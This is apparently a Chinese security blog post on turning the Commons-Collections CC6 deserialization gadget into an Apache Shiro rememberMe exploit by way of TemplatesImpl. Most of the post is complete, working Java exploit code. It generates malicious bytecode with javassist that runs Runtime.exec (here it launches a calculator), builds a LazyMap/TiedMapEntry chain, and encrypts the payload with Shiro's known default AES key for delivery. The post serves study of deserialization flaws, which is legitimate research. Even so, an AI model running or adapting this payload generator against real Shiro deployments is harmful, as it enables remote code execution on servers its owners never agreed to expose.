利用TemplatesImpl改造CC6攻击Shiro
在Shiro反序列化中,由于Tomcat类加载的问题(classpath不同)会导致无法加载Transformer
数组的问题,最近看到了利用TemplatesImpl
类来改造CC6,绕过了使用Transformer
数组的问题;在无法出网使用JRMP的时候,这条Gadget巧妙地化解了这个难题。
# TemplatesImpl
这个类在很多漏洞中都有利用(Fastjson反序列化、Java反序列化的一些Gadget······),主要是利用了类中的如下方法链:
newTransformer -->
getTransletInstance -->
defineTransletClasses--> (_class[])
_class[].getConstructor().newInstance()
具体调试细节就不说了,主要的利用思路就是:
- 手动构造恶意的字节码
- 反射修改TemplatesImpl类中某些字段
defineClass
方法会将字节码还原成一个java.lang.Class
对象- 之后调用
newInstance
的时候会触发构造方法或者static code block
代码示例如下:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
public class Main {
public static void main(String[] args) throws Exception {
// 借用 javassist 库来生成恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass test = pool.makeClass("Test");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
test.makeClassInitializer().insertBefore(cmd);
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = test.toBytecode();
// 反射修改属性以及调用方法
TemplatesImpl templates = new TemplatesImpl();
Util.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Util.setFieldValue(templates, "_name", "F4DE");
Util.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
}
运行之后便会弹出计算器:
注意点:
修改
_name
字段是因为getTransletInstance
方法中有这样的判断:if (_name == null) return null;
修改
_tfactory
字段是因为defineTransletClasses
中有_tfactory.getExternalExtensionsMap()
这条语句,如果为null则会抛出空指针异常。
# 改造CC6
之前的CC6Gadget分析文章:Java反序列化-CC6 | F4de's blog (opens new window)
在CC6这条Gadget中可以使用InvokerTransformer
这个类,通过Transformer
数组来组成利用链:
TemplatesImpl templates = new TemplatesImpl();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
利用InvokerTransformer
来回调newTransforer
,之后加载恶意字节码,完成命令执行。但是要想在Shiro中利用,关键在于,如何避免使用Transformer
数组把TemplatesImpl
对象传入到InvokerTransformer
中?
wh1t3p1g师傅在Java反序列化利用链分析之Shiro反序列化 - 安全客,安全资讯平台 (anquanke.com) (opens new window)这篇文中给出了解决办法:使用LazyMap#get
方法来代替ConstantTransformer
,扮演一个类似于在Transformer
数组中的传递者。
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
······
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
}
在之前构造Gadget的时候,对于LazyMap#get
方法的参数key
是不关心的,因为我们主要利用的方式是把this.factory
字段设置成一个ChainedTransformer
来实现Transformer
数组的链式调用;但是这个参数key
可也会被传入transform
方法中,所以现在可以把this.factory
字段设置成一个InvokerTransformer
,然后设置key
这个参数为TemplatesImpl
对象,然后让LazyMap#get
方法来代替我们把TemplatesImpl
对象传入InvokerTransformer
中。
按照CC6的思路来改造代码:
Transformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
然后再构造一个Map
,设置key
为tiedMapEntry
,用于触发tiedMapEntry
的hashCode
方法:
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
outerMap.clear();
完整Gadget代码:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
// 借用 javassist 库来生成恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass test = pool.makeClass("Test");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
test.makeClassInitializer().insertBefore(cmd);
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = test.toBytecode();
// 反射修改属性以及调用方法
TemplatesImpl templates = new TemplatesImpl();
Util.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Util.setFieldValue(templates, "_name", "F4DE");
Util.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 先设置一个无害方法,防止在 Map#put 方法中触发Gadget
Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
outerMap.clear();
// 反射修改 iMethodName 字段为 newTransformer
Util.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
// ======反序列化======
ByteArrayOutputStream barr_out = new ByteArrayOutputStream();
ObjectOutputStream ops = new ObjectOutputStream(barr_out);
ops.writeObject(expMap);
ops.close();
// ======序列化=======
ByteArrayInputStream barr_in = new ByteArrayInputStream(barr_out.toByteArray());
ObjectInputStream ois = new ObjectInputStream(barr_in);
ois.readObject();
ois.close();
barr_in.close();
}
}
# Shiro中使用
生成序列化数据的Base64编码值,然后使用AES加密,生成Payload:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* Shiro Gadget powered by CC6 Gadget
* ==================================
* HashMap#readObject -->
* TiedMapEntry#hashCode -->
* TiedMapEntry#getValue -->
* LazyMap#get -->
* InvokerTransformer#transform -->
* TemplatesImpl#newTransformer
*/
public class CCShiroGadget {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass test = pool.makeClass("Test");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
test.makeClassInitializer().insertBefore(cmd);
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = test.toBytecode();
byte[] payload = CCShiroGadget.getPayload(bytes);
byte[] AES_KEY = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aesCipherService = new AesCipherService();
ByteSource source = aesCipherService.encrypt(payload, AES_KEY);
System.out.println(source.toString());
}
static byte[] getPayload(byte[] bytes) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "F4DE");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 先设置一个无害方法,防止在 Map#put 方法中触发Gadget
Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
outerMap.clear();
// 反射修改 iMethodName 字段为 newTransformer
setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
// ======反序列化======
ByteArrayOutputStream barr_out = new ByteArrayOutputStream();
ObjectOutputStream ops = new ObjectOutputStream(barr_out);
ops.writeObject(expMap);
ops.close();
return barr_out.toByteArray();
}
static void setFieldValue(Object obj, String field, Object value) throws Exception {
Class<?> clazz = Class.forName(obj.getClass().getName());
Field field1 = clazz.getDeclaredField(field);
field1.setAccessible(true);
field1.set(obj, value);
}
}
其中Base64编码用了Shiro中的org.apache.shiro.codec.Base64
,AES加密使用Shiro中原生的AesCipherService
。
运行,把生成的Payload发送给Shiro:
Shiro中的日志抛出异常的函数调用栈也和我们预期中的一样:
- 02
- CommonsBeanUtils04-19
- 03
- 基于Tomcat全局存储进行回显04-16